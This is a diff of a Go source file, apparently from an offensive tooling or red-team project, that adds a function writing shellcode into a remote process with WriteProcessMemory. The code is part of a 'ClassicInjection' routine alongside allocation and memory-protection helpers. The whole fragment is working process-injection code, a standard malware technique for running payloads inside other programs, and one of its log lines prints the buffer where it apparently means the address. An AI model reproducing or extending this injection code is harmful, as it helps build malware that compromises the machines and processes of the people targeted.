@@ -35,7 +35,7 @@ func ClassicInjection() {
3535
3636 log .Printf ("[INJECT] Memory Allocation Done, Address: 0x(%x)" , addr )
3737
38- CopyShellcodeToMemory ( addr , & shellcode )
38+ CopyShellcodeToRemoteProcess ( cmdHandle , shellcode , addr )
3939
4040 log .Printf ("[INJECT] Shellcode Moved To Process Memory \n " )
4141
@@ -45,6 +45,30 @@ func ClassicInjection() {
4545
4646}
4747
48+ func CopyShellcodeToRemoteProcess (pHandle syscall.Handle , shellCode []byte , addr uintptr ) {
49+ procWriteProcessMemory := dll .Kernel32 .NewProc ("WriteProcessMemory" )
50+
51+ var bytesWritten uintptr
52+
53+ ret , _ , lastErr := procWriteProcessMemory .Call (
54+ uintptr (pHandle ),
55+ addr ,
56+ uintptr (unsafe .Pointer (& shellCode [0 ])),
57+ uintptr (len (shellCode )),
58+ uintptr (unsafe .Pointer (& bytesWritten )),
59+ )
60+ if ret == 0 {
61+ log .Panicf ("[INJECT] WriteProcessMemory() failed: %v" , lastErr )
62+ }
63+
64+ if bytesWritten != uintptr (len (shellCode )) {
65+ log .Panicf ("[INJECT] Wrote %d/%d bytes" , bytesWritten , len (shellCode ))
66+ }
67+
68+ log .Printf ("[INJECT] Shellcode written to 0x%x \n " , shellCode )
69+
70+ }
71+
4872func ChangeRemoteProcessPermission (pHandle windows.Handle , addr uintptr , size int , newProtect uint32 ) {
4973 var oldProted uint32
5074
0 commit comments